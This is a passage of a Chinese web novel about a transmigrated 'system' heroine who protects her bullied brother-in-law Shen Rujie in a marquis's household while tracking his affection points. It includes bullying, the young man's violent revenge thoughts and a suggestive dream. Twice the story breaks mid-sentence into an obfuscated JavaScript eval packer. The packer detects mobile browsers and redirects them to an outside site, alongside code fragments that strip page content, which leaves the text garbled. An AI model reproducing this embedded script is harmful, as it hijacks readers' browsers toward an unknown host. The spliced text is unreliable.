沈如芥在侯府里是个什么地位,世族之间早就传开了。他素来不受待见,就连兄长沈归都厌恶他,这个所谓的二公子其实就是侯府豢养的一条狗。 主子开心了,赏他根骨头;主子不开心了,自然要拿他出出气。 而且欺负他,可比欺负一般的下人有意思多了。 那些奴婢们都是软骨头,撑不了片刻就吓破了胆子连连磕头求饶。 沈如芥则不会,他就算把所有的折辱磋磨都一一受尽了,也绝不会开口求饶。 所以每次出现在这种场合,都有心情不爽利的世家公子,随意的寻个由头来找他麻烦。 次数久了,私底下竟然还有赌注,看谁能把沈如芥这个没情绪的小畜生先逼到求饶落泪。 反正沈归也不会管他,每次都只是看着从不插手,这才让周围人的胆子渐渐大了起来。 甚至这次的曲水流觞诗会,都有人特意问了沈归,他那个庶弟会不会跟着同来。 眼看着诗会就要结束,怎么能什么都不做就放他回去? 于是沈如芥前脚刚从外头回来,在角落里坐下,后脚就有一纨绔公子拍拍他怀中的爱妾,示意她端着酒樽过去。 爱妾闻言倒是心领神会,当下腰肢袅娜,水蛇一样的走过去。 千娇百媚的跪坐在他旁边敬酒,“妾身唐突,想请二公子饮上一杯。” 那酒樽的边缘上,还有她饮酒时留下的唇脂。 她特意将那留有唇脂的一边,递给了他,而且俯仰之间本就松散的外裳滑落肩头,露出大片雪白肌肤。 沈如芥没接。 他望向她的眼神像看一堆弥散着腐气的枯骨。 谁料公子哥见状,继续皮笑肉不笑的指示道,“玉娘,二公子的意思是让你再靠近点儿,他想就着你的手喝完这樽酒。” 那位名唤玉娘的爱妾,就果然欺近了少年,将酒樽递到他唇边。 却在下一秒被对方狠狠推开,连带着酒盏碎了一地。 那公子哥的第一反应不是去扶倒在地上的可怜爱妾,也不是生气。 而是假装惊讶的站起来,说哎呀,这个酒盏是陛下赏赐的宝贝,价值连城,现在被二公子随便打碎了可怎么办才好? “不如二公子,给这个碎了的酒盏……下跪磕头罢?” “不止要跪,还要边跪边打自己耳光,伏地哭喊罪臣该死,吾皇万岁万岁万万岁。你说好不好啊,二公子?” 所有人都在等着看沈如芥的笑话。 沈归也是,他端坐高位仿佛置身事外,一次次默许了旁人这样的行为。 直到那个身着华服的公子哥,走到沈如芥身边,轻飘飘戏弄的拎起酒壶,从头顶淋下来。 酒液湿透少年满脸,他却笑着道,“这个也是陛下亲赐的,二公子可不要再失手打碎了。” 沈如芥彻底沦为了落汤鸡。 他神色冰冷的垂下睫羽,任由酒液从他的眼帘处缓缓滴落。 再忍忍就好了。 等到今日的诗会结束,等到众人已经渐渐遗忘了这件事,他就可以像铲除七皇子其他的绊脚石那样,除掉这个人。 周围的哄笑声渐起,少年隐忍的闭上了眼睛。 他以为这次又会像以前那样,只需克制住胸腔沸腾的戾气与杀意,忍耐过去就好。 没想到却听见了一道清脆的巴掌声。 女子细柔却怒意冲冲的声音在身畔响起,掷地有声的发问,“今日倒叫我涨了见识,原来所谓的曲水流觞诗会,就是借着名头欺负人。难道世家大族教养出来的公子,就是这样折辱人的么!” 本来还有些乱糟糟的环境,被这一巴掌彻底打懵了。包括沈归。 他甚至反应了好几秒,才意识到那个护在沈如芥面前替他出头的,竟然是自己那个常年卧病深闺、温柔怯懦的夫人。 她仿佛用尽了全身力气打出那一巴掌,因为那个纨绔公子的面颊上,几乎是立刻浮起了红肿的巴掌印。 她却犹觉得不够,眉眼透着刻骨的冷怒,“二公子命似寒微,诸位今日就是想随便打杀了他都可以。只是别怪我这个病弱的嫂嫂拼上一条命,去敲登闻鼓,让陛下亲自来评评理!” 说完转过头望向座上的沈归,素来温柔的眼底都是难言的失望之色,“妾身原不知晓,侯爷身为兄长竟能这般冷漠,看着自家手足被旁人污蔑羞辱,而无动于衷。” “侯爷今日的所作所为,实在是叫妾身失望。” 12. 闺秀嫂嫂×貌美病娇12 辛夷拉着沈如芥走了。 她今天就是那个心疼反派小病娇,给他送温暖,勇敢站出来帮他抵抗全世界恶意,温柔善良、貌美如花、明辨是非、坚韧不拔、秀外慧中的绝世好嫂嫂! 再说下去,她都快爱上自己了。 当下更加顾不上身后其他人是什么反应,拉着少年的衣袖走得飞快。 在旁观者的视角,可以瞥见那张娟秀的小脸上带着明显怒意,一双杏眼更是隐忍到泛红。 虽然弱柳扶风,却能狠狠给那个欺辱人的纨绔公子一巴掌。 美人动怒,直教人心肝儿乱颤。 那浪荡纨绔本来冷不丁的挨了一巴掌,眼看着怒不可遏的仿佛想要杀人,却在抬头看见了那张绝色姝丽的脸之后,就那么微微愣住了。 从邬家女刚在席间落座的时候,他就注意到了。 派婢女过去打听之后,才知道那是沈侯爷的病秧子夫人。 他就是因为这个才特别的心情烦躁,若是个没名分的通房或者妾室也就罢了,他还能找个机会搞过来玩玩儿。 偏偏是沈归明媒正娶的夫人,对方就算再大方,也不会把自己的正头夫人送给他。 于是心情不爽利的纨绔,把视线盯上了侯府那个不受宠的小孽畜,想要像往常那样拿他撒撒气。 谁料竟然阴差阳错的,挨了美人的一巴掌。 他心情很复杂,怒气是散得没有了。 就是遗憾这病怏怏的美人儿,打得不是地方,也不是场合。他府上多的是空屋暖榻,随便她怎么踢怎么打,实在不行上嘴咬也行。 因为美人儿的巴掌总是挨不够的。 这么想着,那纨绔竟似入了痴的想去拉她的手,问问她这么细嫩的素手,打得疼不疼。 可惜还没拉到,就被薄怒中的女子又狠狠打了一巴掌。 辛夷也看出来对方是个有病的了。 恶寒反胃之余,压根不想跟他多纠缠,于是把该做的戏做完之后,就赶紧拉着沈如芥离开了。 她知道在今日之后,京城所有的世家子弟都会对侯府这位病怏怏的夫人,产生新的议论看法。 最重要的是,沈归也会。 辛夷不需要沈归现阶段的喜欢,她需要的是对方的兴趣和关注,哪怕只是几分浅显的在意。 至于系统所要求的追妻火葬场,等到她提出和离之后,嫉妒跟后悔会让那个男人渐渐产生爱。 天清云淡,日光透过柳树的枝条撒下稀疏的影子。 衬得幽林间的阵阵鸟鸣声,更加清脆。 停在外头的那辆马车也被她顺走了。 理由当然是她一个已经出阁的闺秀小姐,不能当街被侯府庶子抱在怀里,和他共乘一骑。 这是给沈归留面子。 他能体会最好,不能体会也没有办法。 马车已经走出去老远了,沈如芥的头发上还在滴着水。 而且他今日似乎乖顺得过分,从被她拉住袖子扯走开始,到被安排着坐上了同一辆马车。始终半分挣扎都没有,顺从的低垂着鸦黑睫羽,她说什么,他就做什么。 辛夷甚至有点儿怀疑,就算此刻她让对方跳车,沈如芥也不会有什么多余的反应。 难道是被气傻了?还是伤心得根本不想说话。 辛夷看着他滴落在发梢、颊边的酒液,再看看他那张湿漉漉的俊脸。 心底不知为何真的有点生气,当下从袖间掏出帕子,用几分自认为恶狠狠的力道往他脸上擦。 边擦还边咕哝着唇数落,“别人欺负你,你不知道反抗吗?就算不想动手起争执,连跑开都不会吗?” “腿就长在你身上,竟然那么傻子似的直戳戳站在原地,等着被对方往头上浇,你真是……” 但她心里也知道,这种事肯定不是第一次发生了,或许他从前也试着反抗过。但侯府不会向着他,沈归也不会,下场可能更糟。 辛夷心软了几分,忍不住叹息道,“算了,这种诗会一点也不好,以后我们不参加了。” 沈如芥望着她的侧脸发呆。 从她掏出帕子给他擦脸的那一刻,他就抬起了轻颤的睫羽看她。 她似乎很生气,故意加重了力道帮他擦拭。 嘴巴也不高兴的咕哝着,说一些看似指责实则关心的话,眉眼沾染了几分忍耐和恼怒,一点儿也不像平时温柔谨慎的那个辛夷了。 她会挡在他身前。 看到别人欺负他也不会叫他忍着,而是气红了眼睛狠狠给了对方一巴掌。 其实……他不需要辛夷给他出头,他自己也可以报复回去。 从来没人为他这么做过,沈如芥也默认自己不需要,可现在看着她气呼呼的眉眼,他竟然觉得有点贪恋。 这好像是藏在嫂嫂温柔表象下的另一面,原来她瞪人的时候很可爱,教训他的时候也很可爱。 沈如芥感觉自己的心跳快了几分,喉咙也微微干涩起来。 “辛……” 其实他想叫辛夷,但到了嘴边又变成了那句恭敬的,“嫂嫂。” “怎么啦?” “你的帕子……是甜的。” “噗嗤——” 辛夷好似被他逗笑,皱起的眉头也舒展开,特意摊开了帕子到他面前给他看,“因为这是刚刚包过点心的那方帕子,当然甜了。” 马车里头其实还算宽敞,但因为辛夷要给他擦湿透的头发,所以倾着身子挨得很近。 尤其现在,间隔不过半条手臂的距离,可以清楚看到她弯起的眼睛,小巧的鼻尖,以及……微微开阖露出贝齿的红唇。 沈归亲过么? 他曾经在自己看不到的地方,下贱的一遍遍含弄过嫂嫂可怜的唇瓣么? 只是想想,就觉得戾气横生到快要溢出来了。 少年的眸色逐渐转深,在心底极为克制的念了一声:嫂嫂。 嫂嫂,嫂嫂,嫂嫂…… 辛夷自然是没有发现他的异常。 她想着,今日发生了这样烦人的糟心事,要怎么样才能让沈如芥心情变好一点。 这相当于是被京城的纨绔们给聚众霸凌了,还是被兄长默许放任的那种霸凌。 及时的心理疏导还是很必要的。 她想来想去,想到一条亘古不变的金科玉律。 买! 不高兴的时候就买买买,买完就高兴了。 于是她转头望着沈如芥,上下打量了几遍,然后道,“我觉得二公子缺几件衣裳,天气马上要变冷了,得添置些厚实的衣裳。” 接着又挑剔着思衬片刻,“还缺两把折扇,三个扳指,四个香囊。” 少年听完抿住唇,他其实想说折扇和扳指这些,只有七皇子那种浪荡纨绔才喜欢,他用不着。 但看着那双满是笑意与光彩的乌润杏眼,又什么都说不出了,只剩下那句发自内心的,“好,但听嫂嫂安排。” * 京城最好的布庄就那么两家。 辛夷挑选了其中最近的一家,她也算是想通了,既然手里的这些银子带不走,那么在小世界里她想怎么花就怎么花。 买什么东西,随她高兴;给谁买,也随她高兴。 她大手一挥给沈如芥挑选了好几款布料,让布庄老板给他量尺寸的同时,又走开些距离去看新的布料。 因为邬家娘子常年卧病的缘故,很少出门,所以京城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14778590|157922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里极少有人见过这位候府夫人的真容。布庄老板也是,当下就误会了他们两个的关系。 一边給少年量衣裳的尺寸,一边笑呵呵的跟他说,“郎君好福气,小娘子对你可真好。” 那话里话外的意思,分明是将他们看做了一对小夫妻。 沈如芥不知道是没听出来,还是觉得没必要解释,竟然怔神了下就干脆默认了。 阿盈在一旁听得心惊肉跳,简直快要魂飞魄散:完了完了,这要是给侯爷知道了,夫人还怎么解释得清! 而且二公子是怎么回事,被旁人误会了和夫人的关系为什么不否认!! 等她想开口说清楚的时候,布庄老板已经拿着量好的尺寸离开了。 留阿盈一个人在原地心累的想跺脚。 辛夷则是心情很好。 原来不止是给自己花钱会觉得舒坦,给别人花钱也是一样舒坦,她总算体验了一把话本子里说的“豪掷千金为美人”的感觉了! 当然最高兴的应该是布庄老板,离开的时候对着辛夷笑开了花,“小娘子常来,等这些衣裳做好了之后,小某亲自给二位送到府上去。” 出了布庄,他们并没有打道回府,而是拐了条街,去专卖小玩意儿的铺子里挑香囊。 “二公子喜欢哪种款式的?”辛夷手里拿着几个作比较,还不忘记抬头征询他的意见。 沈如芥视线一顿,落在了那只绣着辛夷花的香囊上,垂于身侧的指节无意识攥紧。 一双漆眸盯住她,语气却无比平静温顺,“喜欢那个辛夷花的。” 辛夷听罢弯起眼睛,莞尔一笑,“这么巧么,我也觉得这个好看。” 说着又挑了两个更素净雅致的,让老板一起包起来。 逛了一会儿,她有点累,打算买完旁边茶楼的水晶糕就离开。 没想到耳边听到一道熟悉的提示音,“叮~检测到重要角色郑妩出现在附近。” 系统提醒,“郑妩应该就在离宿主不远的地方,如果宿主决定现在去买水晶糕,那你们大概率会碰到。” 已经下了马车的辛夷:“……” 怎么不早说。 经历过“雨夜救人”之好感值的打击后,辛夷实在有些心有余悸。 她不知道自己这个炮灰能不能抵抗得住对方的强大光环,按照这个世界线的狗血程度来看,她怕沈如芥会对郑妩一见钟情,然后求而不得逐渐黑化、阴湿爬行…… 那她这段时间做的一切努力,都会泡汤。 “嫂嫂?” 站在身畔的少年不解的望着她,像是不明白她为什么会忽然停下脚步,“嫂嫂不是要去买茶楼的水晶糕么,怎么不走了?” 辛夷干笑两声,“买,买……当然要买。” 然后她看似踏出普通的一步,接着发出细软的一声惊呼,“啊!” 眼看着身子就要向前摔倒。 下一秒被少年眼疾手快的接住,稳稳抱在怀中。 沈如芥低头望着她,漆黑的瞳仁弥漫水意,耳根有些发红:“嫂嫂,站着也能摔倒么?” 辛夷点点头:“可以。” 以她目前的人设,是可以。 系统啧啧两声,没忍住吐槽:“不是我说,宿主的手法也太拙劣了。左脚绊右脚你也做得出来,确定这样就能骗到沈……” 下一秒,“沈如芥好感值+2。” 系统:“……” 辛夷也懵了。 她试探着松开少年的胳膊站起来,然后再一次不小心的平地摔,重新跌倒进他怀中。 “沈如芥好感值+2。” 辛夷:“……” 别拦她,她今天能把这好感值抱满。 13. 闺秀嫂嫂×貌美病娇13 诗会之后,辛夷重新捡起了每日早起弹琴读书的才女人设。 只不过这次她多了个心眼儿,故意挑在沈如芥的必经之路上读书,争取每次捧起书卷的时候都能刷一波存在感。 前两天她故意假装跌倒,往他怀里扑了好几次,刚开始几次确实有用,不过对方的好感度维持在75%之后,就死活不再往上涨了。 看来80是个需要突破的坎,得发生点儿实质性的进展才行。 她拄着下巴,想到了一些很容易被系统“哔——”掉的敏感内容。 然后觉得……貌似要提上日程了。 辛夷想着,将目光移向远处的湖堤柳树,视线和心情一起明快起来。 不得不说,古代的空气环境就是好,天蓝水清得像画出来的那样,怪不得古代人那么喜欢游山玩水,还闲得没事到处写诗。 殊不知她此刻那副悠闲发呆的模样,落入了另一人眼底,在看不到的地方激起了隐晦涟漪。 柳树依傍的小路拐角处,小厮打扮的仆从跟随着沈归停下了脚步,然后顺着他的视线望向了素手柔荑、捧卷读书的女子。 女子穿着一袭烟青色织金裙,披帛轻盈地垂在臂弯,眉眼含笑,不知道是想到了什么开心的事,绯红的唇微微扬起,惯常温婉秀丽的小脸上显出几分灵动跳脱之意。 她看上去心情不错,起码今日心情不错。 小厮也摸不透他主子的想法,只是小心的试探着询问,“侯爷,要过去和夫人说说话么?” 距离诗会上的事情已经过去好多天了,侯爷一直为着那件事心中不爽利,而且回府了之后,也没等到夫人过来说软话。 连带着他去看阿妩姑娘的时候,都没什么兴致,总是借口公务繁忙,说不了两句话就起身回府。 就比如今日吧,才短短一个上午,小厮就逮着好几回侯爷失神,目光总是若有似无的飘到夫人院落的方向。 他也就试着提了句,说侯爷既然处理事务疲惫,不如出去走走,他瞧着夫人院落旁边的几株银杏开得不错,是个散心赏景的好去处。 其实他只是随口一提,主要是看到侯爷最近总是神思不属的,又总是板着一张阴沉的脸,有些吓人。 没想到侯爷听罢,竟然真的从椅子上站起来,顺着他的话茬应和,“那就去看看罢,我也记得那里的银杏长势不错。” 结果还没走到夫人的院落,就在途中的亭子里看到了夫人。 而说着去看银杏树的侯爷也停下脚步,不走了,视线就那么径直落到了那个坐在亭子里、悠闲惬意的女子身上。 小厮等不到回答,只能再次提醒,“侯爷,要不要过去跟夫人说句话?” 沈归长身玉立的负手站着,眸色沉沉的绷紧了下颌,面上没有半分喜色,“你觉得夫人今日,是不是瞧上去很开心?” 小厮头皮发麻,愈发揣测不准主子的心意。 但闻言也只好将目光重新落到凉亭之中,以及女子那张微微含笑的娇靥上,然后老老实实道,“貌似确实很开心,都不像平日里的夫人了。” 也不知道这句话哪个字触到了主子的逆鳞,就见他情绪不明的冷笑了一声,“看来我倒是对自己的夫人,了解甚少。” 说完拂袖转身,是要打道回府的意思。 小厮忙不迭的追在他身后跑,满是不解的问道,“侯爷,侯爷……那银杏就不瞧了?” “几株破树,本来就没什么好瞧。” * 辛夷今日没等到沈如芥,长吁短叹的满肚子失落。 等到中午用完膳才算好一点,在系统的三催四请之下,总算让婢女抱着琴放在院中,打算敷衍了事的拨弄两声。 没想到却等来了不速之客。 她是没认出来,还是阿盈附在耳边小声的提醒,“夫人,这是侯爷身边的小厮。” 辛夷“哦”了一声,心里依旧有些奇怪:自从那日诗会之后,两个人就没什么交集。 她既然已经做好了和离的打算,就没想着继续假装痴情的妻子去哄他。眼下他却差遣了贴身的小厮过来…… 怎么,沈归要死了? 系统:“宿主好像很讨厌沈归?从进入小世界到现在,听见你骂他好几次了。” 辛夷用一种很理所当然的语气,“烂黄瓜谁不讨厌?更何况他还是辜负原主,害得她最后郁郁而终的元凶。” 系统不说话了,因为它觉得辛夷说得好像挺有道理。 就在这个空挡,面前的小厮笑呵呵的伏低了身子跟她道喜,“恭喜夫人!” 辛夷不解地皱眉,纤细的葱指还按在琴弦上,“恭喜?恭喜我什么?” 那个小厮笑得更开了,简直可以用眉飞色舞来形容,“侯爷差小的过来告诉夫人,他今夜准备歇在夫人的院子里,让您提前准备准备。” “……” 辛夷的脸黑了,身子也肉眼可见的僵硬:“你再说一遍,他打算歇在哪儿?” 小厮以为她是高兴得疯了,心里不知道该如何是好,所以才会用这样不确定的语气问他。 于是当下也笑笑,朗声回答道,“歇在夫人您的院子里!” 辛夷:“………………” 歇他大爷。 * 天色渐渐昏暗下来,侯府里头一切如常。 沈如芥也像往常那样从外面回来,他眉眼极冷淡,肤色苍白,明明是极为昳丽的样貌,却因为玄衣冷剑显出几分尖刻的戾气。 他径直回了自己的院落,将案上冷掉的茶水一饮而尽。 胸腔里古怪翻涌的情绪却始终不能平静,然后想到辛夷,又一次的,想到辛夷。 想到她在雨幕里忍着害怕走过来,用绣着兰草的手帕按住他流血的手背;想到脏乱腥臊的马厩里,她靠近时带来的幽香,雾濛濛的鬓边珠花,温婉秀丽的一张脸。 想到她趴在水榭上喂他榛子酥,模样认真的倾身过来,拿那方包过点心的手帕气呼呼给他擦净脸上沾染的酒液。 辛夷。 嫂嫂。 越想就越不能平静,脑子里都是她的脸,她说话时的语调,靠过来的气息。 还有她笑起来时,唇边攒出的浅浅笑涡。 屋子里没有点灯,少年的眸色漆黑幽深,就是那种俊脸上的神情实在算不上好看。 他好像终于认清了自己藏在无害皮囊下,那无比恶心肮脏的心思。 沈如芥僵硬站了许久,才打开房门走出去。 可惜还没等走到辛夷院落,就被端着汤药空碗走出来的阿盈拦住了。 她讶异的瞧着他问,“二公子是要找夫人叙话么?今日恐怕不太方便。” 沈如芥闻言脚步一滞,眉头拧起来,用着带着自己都没察觉的焦急语调,“嫂嫂怎么了,可是又生病了?” 她身子不好,总是动不动就生病。 阿盈听罢愣了愣,笑开,“不是,是侯爷今夜要宿在夫人房中,这会子他们应该已经在说体己话了。” 小丫鬟到底是没经过人事,解释起来忍不住有些面红,“侯爷怕夫人的身子受不住,下午特意差了孙嬷嬷过来教习,方才还煎了温补的汤药给夫人喝……” 这话已经不宜深说下去了,阿盈只能欲言又止的断了话头。 她红着脸,眼底笑意弥漫,望着面前人说道,“天色不早了,二公子也早日回房歇息罢。” 月照庭院,树影婆娑。 停在枝头栖息的鹧鸪察觉到了什么危险气息,扑朔着翅膀飞走了。 院子里的仆从婢女们已经退干净了。 只有往来的夜风,吹开了两扇朱漆窗棂之间的一道缝隙,借着皎洁月色,可以看到里面的景象。 沈如芥伸指虚抚上窗棂,眸色晦涩,死死盯住那道坐在案前的纤细身影。 她穿着素净的月白衣裳,满头青丝如瀑垂落在盈盈一握的腰际,侧脸妩媚秀丽。 藏于暗处的少年望着她姣好侧脸,心绪翻涌,脑子里都是下午在茶楼里和七皇子说过的那番话。 那番令他无法再自欺欺人的话。 萧从荆近来总是毫无道理的烦闷,今日又约他去茶楼饮酒。 于是他在听完对方的牢骚后,淡声反问,“陛下想给殿下和阿鸢姑娘赐婚,难道不是好事?既然是两相情悦的姻缘,殿下为何心烦至此?” “还是说,殿下最近有了什么新欢?” 跟在七皇子身边那么久了,他当然知道萧从荆对阿鸢的特别,风流浪荡只是虚假的表象,秦楼楚馆和身边来去的女人也是逢场作戏。 只有阿鸢,能让他冷硬的心肠柔软几分。 萧从荆其实很能纵容阿鸢的坏脾气,只要她不做出太过分的荒唐举动,他向来都是笑着领受的。 谁料对方听罢,唇边的笑意更苦涩几分,“当然喜欢,但我此生,注定不会只有阿鸢一人。” “我以后还会有很多女人,会在阿鸢害怕雷声的夜晚,搂着旁的女子宿在她们房中,和她们做尽夫妻之事,哪怕我并不喜欢。” 萧从荆眯起眼睛,语调寒凉,“可是阿鸢会嫉妒,看到我和别的姑娘在一处,她会伤心。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14778591|157922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 月色清明,风吹得庭院里的树枝婆娑作响。 沈如芥躲在窗棂之后,面色灰败的盯住辛夷,忽然觉得胸口像堵了块儿石头,有点呼吸困难。 原来这个就叫嫉妒。 不能忍受她身边有旁的男子,不能忍受她的温柔浅笑会给第二个人。原来他在面对辛夷时,那些难以言说的情绪,就是喜欢。 他甚至抗拒想到沈归可能会抱她的画面。 只是想到那个场景,喉咙间就抑制不住的泛出血腥气。 想把他的手剁了。 那么脏,怎么可以碰嫂嫂? 房门吱呀一声,就听到沉稳的脚步声响起。 身姿欣长的男子来到辛夷身侧,似乎默默打量了她片刻,然后低笑两声,把手放到了她的肩膀上。 窗棂之后的少年看到,眸色阴鸷得通红,那种浓稠的恶意和愤怒再也压抑不住。 到了最后竟然变为唇边的微微笑意:既然兄长作为侯府主人,在朝堂之中难免树敌。那么被刺客砍下两条手臂……也是正常的吧。 夜风好似大了些,屋子里的红烛被吹得熄灭了一根。 其余没灭的也摇摇晃晃,感觉坚持不了多久。 那是阿盈特意点上的,说今夜算是侯爷和夫人补上的洞房之喜,要有个氛围。 辛夷当时听了就撇嘴:她知道今天这个房肯定洞不了,点白蜡烛和红蜡烛其实都没什么区别,但也实在懒得浪费口舌和那个小丫头争执,于是就那么随她去了。 从刚刚沈归把手放到她肩上,她就犯恶心的起了一身鸡皮疙瘩。 如今被夜风这么一吹,更加忍不住的哆嗦几分,而且不知怎么的,她总有一种被阴鸷毒蛇盯上的瘆人感。 从脊柱骨到头皮都麻飕飕的。 不等她多想,肩膀处的手似乎就要不安分起来,手指已经快要向下抚上她的襟口。 头顶男人的呼吸也渐渐粗重起来,辛夷赶紧抓住他的手腕,抬起一张可怜无辜的脸,“对不起侯爷,今天恐怕不行……” 明天也不行。 后天也不行。 大大大大后天也还是不行。 沈归被她拒绝的动作搞得僵住,等反应过来之后,俊脸彻底阴沉了下来,“什么意思,你不愿意与我同房?” 辛夷:是啊。 超级不愿意你满意了吗? 不过面上她还是要稍微装装,红着脸小声道,“我来葵水了。” “……” “而且,这次葵水的量还很大。” “……” 沈归走了。 辛夷前脚面露愧疚的目送他离开,后脚开开心心的吹灭红蜡烛睡觉:她就说嘛,今天的这些红烛根本没有点的必要。 * 长夜漫漫。 在侯府那较为偏僻破败的一处院落,却似乎没那么平静。 少年躺在榻上,睡梦中的眉眼紧闭着,额角却渗出可疑的薄汗。 脖颈也是微微发红。 沈如芥做了一个难以启齿的梦,梦里他代替兄长,推开房间走进了那道门,然后抱住了端坐在榻边的女子。 “为什么穿嫁衣?”少年痴缠的望住她,嗓音喑哑。 女子轻轻垂下秀丽的眼,偏偏羞涩到双颊绯红,“因为要等着夫君来解开啊。” “夫君,我们点一宿的红蜡烛好不好?” 缭乱堆叠的衣裳,纠缠在一起的长发,坠着清泪与呜咽的潮红眼角。她就连哭起来的声音也是又柔又细,一会儿叫夫君,一会儿叫沈归。 听得他欲念和妒火掺杂在一起,已经分不清现实和梦境,攥住她发烫滑软的腰肢没有丝毫怜惜,“不是沈归,不是沈归……” “不是沈归,嫂嫂。” 浓夜燃尽,风亦休止,天色终于渐渐亮起来。 侯府里的婢女们已经洒扫过一阵儿了,阿盈拿着簸箕把院落墙角的落花打扫干净。 辛夷终于揉揉眼睛,从床榻上坐起来。 她还在醒盹发呆,就听到系统“叮”了一声,在耳边提醒,“恭喜宿主,检测到沈如芥好感度目前为80%了,上涨了五个点。” “……!” 她停下揉眼睛的动作,有点儿懵:“什么原因,我什么都没做啊?” 系统支支吾吾,似乎有些难以启齿,“他、他昨晚做了一个……关于宿主的春梦。” 辛夷这下是真的呆住了。 她沉默片刻,然后很认真的问,“做梦都能涨的话,是不是把‘梦’字去掉就更能涨了?” 14. 闺秀嫂嫂×貌美病娇14 寒衣节过后,紧接着的便是下元节。 作为21世纪的普通社畜,辛夷从没正经过过这种古代的佳节,平时听得最多的就是中秋和除夕,再不然就是情人节圣诞节。 在此之前,她甚至没太听过下元节这种说法,只知道中元节的晚上尽量待在家里不要出门。 阿盈一边给她梳头发,一边开心的说,“今天晚上府里头有家宴,侯爷还会请戏班过来唱折子戏,到时候肯定会很热闹。” “夫人簪这支粉钗好看,衬得气色愈发好了,别说侯爷瞧见了移不开眼,就是奴婢瞧着都欢喜得不行。” 辛夷心里想着别的,三句话只听半句,听到最后也只是敷衍的应了两声。 家宴不家宴的,她根本不在意。 她现在最苦恼的是,已经连着数日没看见沈如芥了。 本来想着有80的好感度打底,他们的关系不说突飞猛进,怎么着也应该比从前更热络一点。 谁知道对方像是有意躲着她,这几日她天天精心打扮,风雨无阻的去凉亭假装读书,结果愣是连他的人影都没碰到。 气得辛夷想杀到他面前,揪着领子当面质问:“你怎么回事,我又不是你最爱的小宝贝啦?” “敢做不敢当,有本事就把梦里对我做过的事再做一遍啊!” 当然她也只敢想想,真要那么做了,她现在的人设会崩得稀碎。 沈如芥估计会以为她鬼上身,满嘴胡话。 辛夷沉沉的叹了口气。 系统安慰她,“宿主不要太心急,要给他一个缓冲的过程,毕竟刚在梦里……咳咳,那啥过,可能不太好意思看见你。” 辛夷更烦了,她都做好准备了,他有什么不好意思的。 害得她白起早贪黑打扮那么多天,一个懒觉没睡过,真是媚眼抛给瞎子看。 她不知道的是其实有人看到了,还默不作声的看了好几天。 不过那个人却不是沈如芥,而是沈归。 他不知道什么缘故,总是会控制不住的想到她。 刚开始是一次、两次,后来是三次、五次,然后次数愈来愈多。 最后他复杂的发现,自己近来想到辛夷的次数,竟然比想到阿妩的时候还要多。 他心里隐隐有些抗拒,但脚下却诚实,总是不由自主的把他带到有她身影的位置。 每次都是等他回过神来发现的时候,已经默默无声的看上了许久。 这份后知后觉的在意,让他觉得心惊。 也让他在察觉到辛夷和庶弟走得有些近后,心里莫名芥蒂。 尤其是这日,侯府上下都在为晚上的家宴做准备。 他从书房里出来路过庭前,却看到了小厮怀里抱着的宽大木盒。说是布庄掌柜亲自送来的几件衣裳,都是上好的精细料子,让他仔细着点儿转交给贵府的沈二公子。 沈归面色沉沉的接过来,垂眸打开,却在银据上看到了辛夷二字的落款。 当即脸色更加不好看,就连捏在匣子边缘的指节都泛着怒意。 小厮虽然不明所以,但还是懂得察言观色的。 看到侯爷的表情差成这样,登时心里就突了一下,连忙跪下,“小的……小的觉得那掌柜的许是弄错了,这几件衣裳未必是给二公子的!侯爷别生气,小的这就给那布庄的掌柜退回去,叫他以后不要再乱送了!” 沈归听罢却没什么反应,只是阴沉着脸把那张银据给揉皱撕碎了。 语调透着几分冷笑,“不必送回去了,把这几件衣裳送给街边的乞丐穿,眼看着就要过冬了,也让他们有件厚袍子暖和暖和。” * 近来天气冷了,本来就黑得快,戌时刚过天色就黑了个透。 好在侯府里头四处点了宫灯,瞧上去仍旧是一派暖融融的光亮。 辛夷被阿盈搀扶着来到廊亭边上,在席间落了座。 座位就在沈归旁边,再不远处就是沈纤纤和几位从前侍候老侯爷的姨娘。 辛夷左顾右盼的瞧了一圈,也没看见沈如芥的影子。 系统贱兮兮开口,“宿主别看了,像这种热闹气派的家宴,沈如芥是没资格来的。而且不管是什么团圆佳节,他都默认被排斥在外。” 所以每年的这种时候,他都是一个人孤零零的待在院子里,自己过节自己吃饭。 或许对他来说,过节这件事本身就没有意义,反正他也不会在那一天得到更多的关心和善意,也不会发生什么值得开心的事。 辛夷虽然早有猜想,但这一刻,仍旧有些滋味莫名。 沈如芥他,貌似比自己想象中过得还要糟糕。 明明是自己家,却活得寄人篱下。 有兄弟,但无手足。有容身之地,但无真心善待接纳他的人。 波光粼粼的湖面堤岸之上,宫灯暖融融。 宴席很快开始了,折子戏也唱开,貌似每个人都挺开心的。 只有辛夷兴致缺缺。 面前的菜肴不是很合她的口味,戏嘛,她也不爱听。 待了没多久,就有点儿倦怠了。 沈归则是完全不同,他本来是想稍作片刻,就出府去京郊的庄子看郑妩的。 没想到瞥见身边人那微微低垂的秀美侧脸后, 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“方才夫人说瞧着二公子孤零零的太可怜,所以想去送些糕点甜粥给他吃。但这也只是感念二公子的幽州求药之恩,求侯爷千万不要同夫人生气!” * 月色明朗,风动竹林。 辛夷提着一盏琉璃绘彩的小灯,穿过幽微庭院,来到沈如芥的门前。 看到屋里亮着灯,她心里松了口气。 还好有人在,要不然她白找借口从宴席上开溜了,当下眼带着笑意的推开那扇房门。 